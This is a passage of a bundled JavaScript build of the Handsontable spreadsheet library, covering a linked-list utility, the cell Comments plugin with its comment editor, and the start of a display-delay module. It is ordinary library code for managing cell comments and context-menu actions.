middleIndex - startIndex; var rightSize = endIndex - middleIndex; var maxSize = Math.max(leftSize, rightSize); var size = endIndex - startIndex; for (var _i = 0; _i < maxSize; _i += 1) { if (_i < leftSize) { leftElements.push(array[startIndex + _i]); } if (_i < rightSize) { rightElements.push(array[middleIndex + _i]); } } var i = 0; while (i < size) { if (leftElements.first && rightElements.first) { if (compareFunction(leftElements.first.data, rightElements.first.data) > 0) { array[startIndex + i] = rightElements.shift().data; } else { array[startIndex + i] = leftElements.shift().data; } } else if (leftElements.first) { array[startIndex + i] = leftElements.shift().data; } else { array[startIndex + i] = rightElements.shift().data; } i += 1; } return array; } /***/ }), /* 681 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = exports.NodeStructure = void 0; function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } /** * Refactored implementation of LinkedList (part of javascript-algorithms project) by Github users: * mgechev, AndriiHeonia, Microfed and Jakeh (part of javascript-algorithms project - all project contributors * at repository website) * * Link to repository: https://github.com/mgechev/javascript-algorithms */ /** * Linked list node. * * @class NodeStructure * @util */ var NodeStructure = function NodeStructure(data) { _classCallCheck(this, NodeStructure); /** * Data of the node. * @member {Object} */ this.data = data; /** * Next node. * @member {NodeStructure} */ this.next = null; /** * Previous node. * @member {NodeStructure} */ this.prev = null; }; /** * Linked list. * * @class LinkedList * @util */ exports.NodeStructure = NodeStructure; var LinkedList = /*#__PURE__*/ function () { function LinkedList() { _classCallCheck(this, LinkedList); this.first = null; this.last = null; } /** * Add data to the end of linked list. * * @param {Object} data Data which should be added. */ _createClass(LinkedList, [{ key: "push", value: function push(data) { var node = new NodeStructure(data); if (this.first === null) { this.first = node; this.last = node; } else { var temp = this.last; this.last = node; node.prev = temp; temp.next = node; } } /** * Add data to the beginning of linked list. * * @param {Object} data Data which should be added. */ }, { key: "unshift", value: function unshift(data) { var node = new NodeStructure(data); if (this.first === null) { this.first = node; this.last = node; } else { var temp = this.first; this.first = node; node.next = temp; temp.prev = node; } } /** * In order traversal of the linked list. * * @param {Function} callback Callback which should be executed on each node. */ }, { key: "inorder", value: function inorder(callback) { var temp = this.first; while (temp) { callback(temp); temp = temp.next; } } /** * Remove data from the linked list. * * @param {Object} data Data which should be removed. * @returns {Boolean} Returns true if data has been removed. */ }, { key: "remove", value: function remove(data) { if (this.first === null) { return false; } var temp = this.first; var next; var prev; while (temp) { if (temp.data === data) { next = temp.next; prev = temp.prev; if (next) { next.prev = prev; } if (prev) { prev.next = next; } if (temp === this.first) { this.first = next; } if (temp === this.last) { this.last = prev; } return true; } temp = temp.next; } return false; } /** * Check if linked list contains cycle. * * @returns {Boolean} Returns true if linked list contains cycle. */ }, { key: "hasCycle", value: function hasCycle() { var fast = this.first; var slow = this.first; while (true) { if (fast === null) { return false; } fast = fast.next; if (fast === null) { return false; } fast = fast.next; slow = slow.next; if (fast === slow) { return true; } } } /** * Return last node from the linked list. * * @returns {NodeStructure} Last node. */ }, { key: "pop", value: function pop() { if (this.last === null) { return null; } var temp = this.last; this.last = this.last.prev; return temp; } /** * Return first node from the linked list. * * @returns {NodeStructure} First node. */ }, { key: "shift", value: function shift() { if (this.first === null) { return null; } var temp = this.first; this.first = this.first.next; return temp; } /** * Reverses the linked list recursively */ }, { key: "recursiveReverse", value: function recursiveReverse() { function inverse(current, next) { if (!next) { return; } inverse(next, next.next); next.next = current; } if (!this.first) { return; } inverse(this.first, this.first.next); this.first.next = null; var temp = this.first; this.first = this.last; this.last = temp; } /** * Reverses the linked list iteratively */ }, { key: "reverse", value: function reverse() { if (!this.first || !this.first.next) { return; } var current = this.first.next; var prev = this.first; var temp; while (current) { temp = current.next; current.next = prev; prev.prev = current; prev = current; current = temp; } this.first.next = null; this.last.prev = null; temp = this.first; this.first = prev; this.last = temp; } }]); return LinkedList; }(); var _default = LinkedList; exports.default = _default; /***/ }), /* 682 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _object = __webpack_require__(2); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _src = __webpack_require__(8); var _plugins = __webpack_require__(13); var _base = _interopRequireDefault(__webpack_require__(15)); var _commentEditor = _interopRequireDefault(__webpack_require__(683)); var _utils = __webpack_require__(30); var _displaySwitch = _interopRequireDefault(__webpack_require__(684)); var C = _interopRequireWildcard(__webpack_require__(11)); __webpack_require__(685); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } var privatePool = new WeakMap(); var META_COMMENT = 'comment'; var META_COMMENT_VALUE = 'value'; var META_STYLE = 'style'; var META_READONLY = 'readOnly'; /** * @plugin Comments * * @description * This plugin allows setting and managing cell comments by either an option in the context menu or with the use of * the API. * * To enable the plugin, you'll need to set the comments property of the config object to `true`: * ```js * comments: true * ``` * * or an object with extra predefined plugin config: * * ```js * comments: { * displayDelay: 1000 * } * ``` * * To add comments at the table initialization, define the `comment` property in the `cell` config array as in an example below. * * @example * * ```js * const hot = new Handsontable(document.getElementById('example'), { * date: getData(), * comments: true, * cell: [ * {row: 1, col: 1, comment: {value: 'Foo'}}, * {row: 2, col: 2, comment: {value: 'Bar'}} * ] * }); * * // Access to the Comments plugin instance: * const commentsPlugin = hot.getPlugin('comments'); * * // Manage comments programmatically: * commentsPlugin.setCommentAtCell(1, 6, 'Comment contents'); * commentsPlugin.showAtCell(1, 6); * commentsPlugin.removeCommentAtCell(1, 6); * * // You can also set range once and use proper methods: * commentsPlugin.setRange({from: {row: 1, col: 6}}); * commentsPlugin.setComment('Comment contents'); * commentsPlugin.show(); * commentsPlugin.removeComment(); * ``` */ var Comments = /*#__PURE__*/ function (_BasePlugin) { _inherits(Comments, _BasePlugin); function Comments(hotInstance) { var _this; _classCallCheck(this, Comments); _this = _possibleConstructorReturn(this, _getPrototypeOf(Comments).call(this, hotInstance)); /** * Instance of {@link CommentEditor}. * * @private * @type {CommentEditor} */ _this.editor = null; /** * Instance of {@link DisplaySwitch}. * * @private * @type {DisplaySwitch} */ _this.displaySwitch = null; /** * Instance of {@link EventManager}. * * @private * @type {EventManager} */ _this.eventManager = null; /** * Current cell range, an object with `from` property, with `row` and `col` properties (e.q. `{from: {row: 1, col: 6}}`). * * @type {Object} */ _this.range = {}; /** * @private * @type {Boolean} */ _this.mouseDown = false; /** * @private * @type {Boolean} */ _this.contextMenuEvent = false; /** * @private * @type {*} */ _this.timer = null; privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { tempEditorDimensions: {}, cellBelowCursor: null }); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link Comments#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(Comments, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().comments; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } if (!this.editor) { this.editor = new _commentEditor.default(); } if (!this.eventManager) { this.eventManager = new _eventManager.default(this); } if (!this.displaySwitch) { this.displaySwitch = new _displaySwitch.default(this.getDisplayDelaySetting()); } this.addHook('afterContextMenuDefaultOptions', function (options) { return _this2.addToContextMenu(options); }); this.addHook('afterRenderer', function (TD, row, col, prop, value, cellProperties) { return _this2.onAfterRenderer(TD, cellProperties); }); this.addHook('afterScrollHorizontally', function () { return _this2.hide(); }); this.addHook('afterScrollVertically', function () { return _this2.hide(); }); this.addHook('afterBeginEditing', function () { return _this2.onAfterBeginEditing(); }); this.displaySwitch.addLocalHook('hide', function () { return _this2.hide(); }); this.displaySwitch.addLocalHook('show', function (row, col) { return _this2.showAtCell(row, col); }); this.registerListeners(); _get(_getPrototypeOf(Comments.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(Comments.prototype), "updatePlugin", this).call(this); this.displaySwitch.updateDelay(this.getDisplayDelaySetting()); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { _get(_getPrototypeOf(Comments.prototype), "disablePlugin", this).call(this); } /** * Registers all necessary DOM listeners. * * @private */ }, { key: "registerListeners", value: function registerListeners() { var _this3 = this; this.eventManager.addEventListener(document, 'mouseover', function (event) { return _this3.onMouseOver(event); }); this.eventManager.addEventListener(document, 'mousedown', function (event) { return _this3.onMouseDown(event); }); this.eventManager.addEventListener(document, 'mouseup', function () { return _this3.onMouseUp(); }); this.eventManager.addEventListener(this.editor.getInputElement(), 'blur', function () { return _this3.onEditorBlur(); }); this.eventManager.addEventListener(this.editor.getInputElement(), 'mousedown', function (event) { return _this3.onEditorMouseDown(event); }); this.eventManager.addEventListener(this.editor.getInputElement(), 'mouseup', function (event) { return _this3.onEditorMouseUp(event); }); } /** * Sets the current cell range to be able to use general methods like {@link Comments#setComment}, {@link Comments#removeComment}, {@link Comments#show}. * * @param {Object} range Object with `from` property, each with `row` and `col` properties. */ }, { key: "setRange", value: function setRange(range) { this.range = range; } /** * Clears the currently selected cell. */ }, { key: "clearRange", value: function clearRange() { this.range = {}; } /** * Checks if the event target is a cell containing a comment. * * @private * @param {Event} event DOM event * @returns {Boolean} */ }, { key: "targetIsCellWithComment", value: function targetIsCellWithComment(event) { var closestCell = (0, _element.closest)(event.target, 'TD', 'TBODY'); return !!(closestCell && (0, _element.hasClass)(closestCell, 'htCommentCell') && (0, _element.closest)(closestCell, [this.hot.rootElement])); } /** * Checks if the event target is a comment textarea. * * @private * @param {Event} event DOM event. * @returns {Boolean} */ }, { key: "targetIsCommentTextArea", value: function targetIsCommentTextArea(event) { return this.editor.getInputElement() === event.target; } /** * Sets a comment for a cell according to the previously set range (see {@link Comments#setRange}). * * @param {String} value Comment contents. */ }, { key: "setComment", value: function setComment(value) { if (!this.range.from) { throw new Error('Before using this method, first set cell range (hot.getPlugin("comment").setRange())'); } var editorValue = this.editor.getValue(); var comment = ''; if (value !== null && value !== void 0) { comment = value; } else if (editorValue !== null && editorValue !== void 0) { comment = editorValue; } var row = this.range.from.row; var col = this.range.from.col; this.updateCommentMeta(row, col, _defineProperty({}, META_COMMENT_VALUE, comment)); this.hot.render(); } /** * Sets a comment for a specified cell. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} value Comment contents. */ }, { key: "setCommentAtCell", value: function setCommentAtCell(row, column, value) { this.setRange({ from: new _src.CellCoords(row, column) }); this.setComment(value); } /** * Removes a comment from a cell according to previously set range (see {@link Comments#setRange}). * * @param {Boolean} [forceRender=true] If set to `true`, the table will be re-rendered at the end of the operation. */ }, { key: "removeComment", value: function removeComment() { var forceRender = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; if (!this.range.from) { throw new Error('Before using this method, first set cell range (hot.getPlugin("comment").setRange())'); } this.hot.setCellMeta(this.range.from.row, this.range.from.col, META_COMMENT, void 0); if (forceRender) { this.hot.render(); } this.hide(); } /** * Removes a comment from a specified cell. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Boolean} [forceRender=true] If `true`, the table will be re-rendered at the end of the operation. */ }, { key: "removeCommentAtCell", value: function removeCommentAtCell(row, column) { var forceRender = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; this.setRange({ from: new _src.CellCoords(row, column) }); this.removeComment(forceRender); } /** * Gets comment from a cell according to previously set range (see {@link Comments#setRange}). * * @returns {String|undefined} Returns a content of the comment. */ }, { key: "getComment", value: function getComment() { var row = this.range.from.row; var column = this.range.from.col; return this.getCommentMeta(row, column, META_COMMENT_VALUE); } /** * Gets comment from a cell at the provided coordinates. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @returns {String|undefined} Returns a content of the comment. */ }, { key: "getCommentAtCell", value: function getCommentAtCell(row, column) { return this.getCommentMeta(row, column, META_COMMENT_VALUE); } /** * Shows the comment editor accordingly to the previously set range (see {@link Comments#setRange}). * * @returns {Boolean} Returns `true` if comment editor was shown. */ }, { key: "show", value: function show() { if (!this.range.from) { throw new Error('Before using this method, first set cell range (hot.getPlugin("comment").setRange())'); } var meta = this.hot.getCellMeta(this.range.from.row, this.range.from.col); this.refreshEditor(true); this.editor.setValue(meta[META_COMMENT] ? meta[META_COMMENT][META_COMMENT_VALUE] : null || ''); if (this.editor.hidden) { this.editor.show(); } return true; } /** * Shows comment editor according to cell coordinates. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @returns {Boolean} Returns `true` if comment editor was shown. */ }, { key: "showAtCell", value: function showAtCell(row, column) { this.setRange({ from: new _src.CellCoords(row, column) }); return this.show(); } /** * Hides the comment editor. */ }, { key: "hide", value: function hide() { if (!this.editor.hidden) { this.editor.hide(); } } /** * Refreshes comment editor position and styling. * * @param {Boolean} [force=false] If `true` then recalculation will be forced. */ }, { key: "refreshEditor", value: function refreshEditor() { var force = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; if (!force && (!this.range.from || !this.editor.isVisible())) { return; } var scrollableElement = (0, _element.getScrollableElement)(this.hot.view.wt.wtTable.TABLE); var TD = this.hot.view.wt.wtTable.getCell(this.range.from); var row = this.range.from.row; var column = this.range.from.col; var cellOffset = (0, _element.offset)(TD); var lastColWidth = this.hot.view.wt.wtTable.getStretchedColumnWidth(column); var cellTopOffset = cellOffset.top < 0 ? 0 : cellOffset.top; var cellLeftOffset = cellOffset.left; if (this.hot.view.wt.wtViewport.hasVerticalScroll() && scrollableElement !== window) { cellTopOffset -= this.hot.view.wt.wtOverlays.topOverlay.getScrollPosition(); } if (this.hot.view.wt.wtViewport.hasHorizontalScroll() && scrollableElement !== window) { cellLeftOffset -= this.hot.view.wt.wtOverlays.leftOverlay.getScrollPosition(); } var x = cellLeftOffset + lastColWidth; var y = cellTopOffset; var commentStyle = this.getCommentMeta(row, column, META_STYLE); var readOnly = this.getCommentMeta(row, column, META_READONLY); if (commentStyle) { this.editor.setSize(commentStyle.width, commentStyle.height); } else { this.editor.resetSize(); } this.editor.setReadOnlyState(readOnly); this.editor.setPosition(x, y); } /** * Checks if there is a comment for selected range. * * @private * @returns {Boolean} */ }, { key: "checkSelectionCommentsConsistency", value: function checkSelectionCommentsConsistency() { var selected = this.hot.getSelectedRangeLast(); if (!selected) { return false; } var hasComment = false; var cell = selected.from; // IN EXCEL THERE IS COMMENT ONLY FOR TOP LEFT CELL IN SELECTION if (this.getCommentMeta(cell.row, cell.col, META_COMMENT_VALUE)) { hasComment = true; } return hasComment; } /** * Sets or update the comment-related cell meta. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Object} metaObject Object defining all the comment-related meta information. */ }, { key: "updateCommentMeta", value: function updateCommentMeta(row, column, metaObject) { var oldComment = this.hot.getCellMeta(row, column)[META_COMMENT]; var newComment; if (oldComment) { newComment = (0, _object.deepClone)(oldComment); (0, _object.deepExtend)(newComment, metaObject); } else { newComment = metaObject; } this.hot.setCellMeta(row, column, META_COMMENT, newComment); } /** * Gets the comment related meta information. * * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} property Cell meta property. * @returns {Mixed} */ }, { key: "getCommentMeta", value: function getCommentMeta(row, column, property) { var cellMeta = this.hot.getCellMeta(row, column); if (!cellMeta[META_COMMENT]) { return void 0; } return cellMeta[META_COMMENT][property]; } /** * `mousedown` event callback. * * @private * @param {MouseEvent} event The `mousedown` event. */ }, { key: "onMouseDown", value: function onMouseDown(event) { this.mouseDown = true; if (!this.hot.view || !this.hot.view.wt) { return; } if (!this.contextMenuEvent && !this.targetIsCommentTextArea(event)) { var eventCell = (0, _element.closest)(event.target, 'TD', 'TBODY'); var coordinates = null; if (eventCell) { coordinates = this.hot.view.wt.wtTable.getCoords(eventCell); } if (!eventCell || this.range.from && coordinates && (this.range.from.row !== coordinates.row || this.range.from.col !== coordinates.col)) { this.hide(); } } this.contextMenuEvent = false; } /** * `mouseover` event callback. * * @private * @param {MouseEvent} event The `mouseover` event. */ }, { key: "onMouseOver", value: function onMouseOver(event) { var priv = privatePool.get(this); priv.cellBelowCursor = document.elementFromPoint(event.clientX, event.clientY); if (this.mouseDown || this.editor.isFocused() || (0, _element.hasClass)(event.target, 'wtBorder') || priv.cellBelowCursor !== event.target || !this.editor) { return; } if (this.targetIsCellWithComment(event)) { var coordinates = this.hot.view.wt.wtTable.getCoords(event.target); var range = { from: new _src.CellCoords(coordinates.row, coordinates.col) }; this.displaySwitch.show(range); } else if ((0, _element.isChildOf)(event.target, document) && !this.targetIsCommentTextArea(event)) { this.displaySwitch.hide(); } } /** * `mouseup` event callback. * * @private */ }, { key: "onMouseUp", value: function onMouseUp() { this.mouseDown = false; } /** * * The `afterRenderer` hook callback.. * * @private * @param {HTMLTableCellElement} TD The rendered `TD` element. * @param {Object} cellProperties The rendered cell's property object. */ }, { key: "onAfterRenderer", value: function onAfterRenderer(TD, cellProperties) { if (cellProperties[META_COMMENT] && cellProperties[META_COMMENT][META_COMMENT_VALUE]) { (0, _element.addClass)(TD, cellProperties.commentedCellClassName); } } /** * `blur` event callback for the comment editor. * * @private */ }, { key: "onEditorBlur", value: function onEditorBlur() { this.setComment(); } /** * `mousedown` hook. Along with `onEditorMouseUp` used to simulate the textarea resizing event. * * @private * @param {MouseEvent} event The `mousedown` event. */ }, { key: "onEditorMouseDown", value: function onEditorMouseDown(event) { var priv = privatePool.get(this); priv.tempEditorDimensions = { width: (0, _element.outerWidth)(event.target), height: (0, _element.outerHeight)(event.target) }; } /** * `mouseup` hook. Along with `onEditorMouseDown` used to simulate the textarea resizing event. * * @private * @param {MouseEvent} event The `mouseup` event. */ }, { key: "onEditorMouseUp", value: function onEditorMouseUp(event) { var priv = privatePool.get(this); var currentWidth = (0, _element.outerWidth)(event.target); var currentHeight = (0, _element.outerHeight)(event.target); if (currentWidth !== priv.tempEditorDimensions.width + 1 || currentHeight !== priv.tempEditorDimensions.height + 2) { this.updateCommentMeta(this.range.from.row, this.range.from.col, _defineProperty({}, META_STYLE, { width: currentWidth, height: currentHeight })); } } /** * Context Menu's "Add comment" callback. Results in showing the comment editor. * * @private */ }, { key: "onContextMenuAddComment", value: function onContextMenuAddComment() { var _this4 = this; this.displaySwitch.cancelHiding(); var coords = this.hot.getSelectedRangeLast(); this.contextMenuEvent = true; this.setRange({ from: coords.from }); this.show(); setTimeout(function () { if (_this4.hot) { _this4.hot.deselectCell(); _this4.editor.focus(); } }, 10); } /** * Context Menu's "remove comment" callback. * * @private */ }, { key: "onContextMenuRemoveComment", value: function onContextMenuRemoveComment() { var _this$hot$getSelected = this.hot.getSelectedRangeLast(), from = _this$hot$getSelected.from, to = _this$hot$getSelected.to; this.contextMenuEvent = true; for (var i = from.row; i <= to.row; i++) { for (var j = from.col; j <= to.col; j++) { this.removeCommentAtCell(i, j, false); } } this.hot.render(); } /** * Context Menu's "make comment read-only" callback. * * @private */ }, { key: "onContextMenuMakeReadOnly", value: function onContextMenuMakeReadOnly() { var _this$hot$getSelected2 = this.hot.getSelectedRangeLast(), from = _this$hot$getSelected2.from, to = _this$hot$getSelected2.to; this.contextMenuEvent = true; for (var i = from.row; i <= to.row; i++) { for (var j = from.col; j <= to.col; j++) { var currentState = !!this.getCommentMeta(i, j, META_READONLY); this.updateCommentMeta(i, j, _defineProperty({}, META_READONLY, !currentState)); } } } /** * Add Comments plugin options to the Context Menu. * * @private * @param {Object} defaultOptions */ }, { key: "addToContextMenu", value: function addToContextMenu(defaultOptions) { var _this5 = this; defaultOptions.items.push({ name: '---------' }, { key: 'commentsAddEdit', name: function name() { if (_this5.checkSelectionCommentsConsistency()) { return _this5.hot.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_EDIT_COMMENT); } return _this5.hot.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_ADD_COMMENT); }, callback: function callback() { return _this5.onContextMenuAddComment(); }, disabled: function disabled() { return !(this.getSelectedLast() && !this.selection.isSelectedByCorner()); } }, { key: 'commentsRemove', name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_REMOVE_COMMENT); }, callback: function callback() { return _this5.onContextMenuRemoveComment(); }, disabled: function disabled() { return _this5.hot.selection.isSelectedByCorner(); } }, { key: 'commentsReadOnly', name: function name() { var _this6 = this; var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_READ_ONLY_COMMENT); var hasProperty = (0, _utils.checkSelectionConsistency)(this.getSelectedRangeLast(), function (row, col) { var readOnlyProperty = _this6.getCellMeta(row, col)[META_COMMENT]; if (readOnlyProperty) { readOnlyProperty = readOnlyProperty[META_READONLY]; } if (readOnlyProperty) { return true; } }); if (hasProperty) { label = (0, _utils.markLabelAsSelected)(label); } return label; }, callback: function callback() { return _this5.onContextMenuMakeReadOnly(); }, disabled: function disabled() { return _this5.hot.selection.isSelectedByCorner() || !_this5.checkSelectionCommentsConsistency(); } }); } /** * Get `displayDelay` setting of comment plugin. * * @private * @returns {Number|undefined} */ }, { key: "getDisplayDelaySetting", value: function getDisplayDelaySetting() { var commentSetting = this.hot.getSettings().comments; if ((0, _object.isObject)(commentSetting)) { return commentSetting.displayDelay; } return void 0; } /** * `afterBeginEditing` hook callback. * * @private */ }, { key: "onAfterBeginEditing", value: function onAfterBeginEditing() { this.hide(); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { if (this.editor) { this.editor.destroy(); } if (this.displaySwitch) { this.displaySwitch.destroy(); } _get(_getPrototypeOf(Comments.prototype), "destroy", this).call(this); } }]); return Comments; }(_base.default); (0, _plugins.registerPlugin)('comments', Comments); var _default = Comments; exports.default = _default; /***/ }), /* 683 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Comment editor for the Comments plugin. * * @class CommentEditor * @plugin Comments */ var CommentEditor = /*#__PURE__*/ function () { _createClass(CommentEditor, null, [{ key: "CLASS_EDITOR_CONTAINER", get: function get() { return 'htCommentsContainer'; } }, { key: "CLASS_EDITOR", get: function get() { return 'htComments'; } }, { key: "CLASS_INPUT", get: function get() { return 'htCommentTextArea'; } }, { key: "CLASS_CELL", get: function get() { return 'htCommentCell'; } }]); function CommentEditor() { _classCallCheck(this, CommentEditor); this.editor = this.createEditor(); this.editorStyle = this.editor.style; this.hidden = true; this.hide(); } /** * Set position of the comments editor according to the provided x and y coordinates. * * @param {Number} x X position (in pixels). * @param {Number} y Y position (in pixels). */ _createClass(CommentEditor, [{ key: "setPosition", value: function setPosition(x, y) { this.editorStyle.left = "".concat(x, "px"); this.editorStyle.top = "".concat(y, "px"); } /** * Set the editor size according to the provided arguments. * * @param {Number} width Width in pixels. * @param {Number} height Height in pixels. */ }, { key: "setSize", value: function setSize(width, height) { if (width && height) { var input = this.getInputElement(); input.style.width = "".concat(width, "px"); input.style.height = "".concat(height, "px"); } } /** * Reset the editor size to its initial state. */ }, { key: "resetSize", value: function resetSize() { var input = this.getInputElement(); input.style.width = ''; input.style.height = ''; } /** * Set the read-only state for the comments editor. * * @param {Boolean} state The new read only state. */ }, { key: "setReadOnlyState", value: function setReadOnlyState(state) { var input = this.getInputElement(); input.readOnly = state; } /** * Show the comments editor. */ }, { key: "show", value: function show() { this.editorStyle.display = 'block'; this.hidden = false; } /** * Hide the comments editor. */ }, { key: "hide", value: function hide() { this.editorStyle.display = 'none'; this.hidden = true; } /** * Checks if the editor is visible. * * @returns {Boolean} */ }, { key: "isVisible", value: function isVisible() { return this.editorStyle.display === 'block'; } /** * Set the comment value. * * @param {String} [value] The value to use. */ }, { key: "setValue", value: function setValue() { var value = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ''; var comment = value || ''; this.getInputElement().value = comment; } /** * Get the comment value. * * @returns {String} */ }, { key: "getValue", value: function getValue() { return this.getInputElement().value; } /** * Checks if the comment input element is focused. * * @returns {Boolean} */ }, { key: "isFocused", value: function isFocused() { return document.activeElement === this.getInputElement(); } /** * Focus the comments input element. */ }, { key: "focus", value: function focus() { this.getInputElement().focus(); } /** * Create the `textarea` to be used as a comments editor. * * @returns {HTMLElement} */ }, { key: "createEditor", value: function createEditor() { var editor = document.createElement('div'); var textArea = document.createElement('textarea'); var container = document.querySelector(".".concat(CommentEditor.CLASS_EDITOR_CONTAINER)); if (!container) { container = document.createElement('div'); (0, _element.addClass)(container, CommentEditor.CLASS_EDITOR_CONTAINER); document.body.appendChild(container); } (0, _element.addClass)(editor, CommentEditor.CLASS_EDITOR); (0, _element.addClass)(textArea, CommentEditor.CLASS_INPUT); editor.appendChild(textArea); container.appendChild(editor); return editor; } /** * Get the input element. * * @returns {HTMLElement} */ }, { key: "getInputElement", value: function getInputElement() { return this.editor.querySelector(".".concat(CommentEditor.CLASS_INPUT)); } /** * Destroy the comments editor. */ }, { key: "destroy", value: function destroy() { this.editor.parentNode.removeChild(this.editor); this.editor = null; this.editorStyle = null; } }]); return CommentEditor; }(); var _default = CommentEditor; exports.default = _default; /***/ }), /* 684 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _function = __webpack_require__(59); var _object = __webpack_require__(2); var _localHooks = _interopRequireDefault(__webpack_require__(68)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var DEFAULT_DISPLAY_DELAY = 250; var DEFAULT_HIDE_DELAY = 250; /** * Display switch for the Comments plugin. Manages the time of delayed displaying / hiding comments. * * @class DisplaySwitch * @plugin Comments */ var 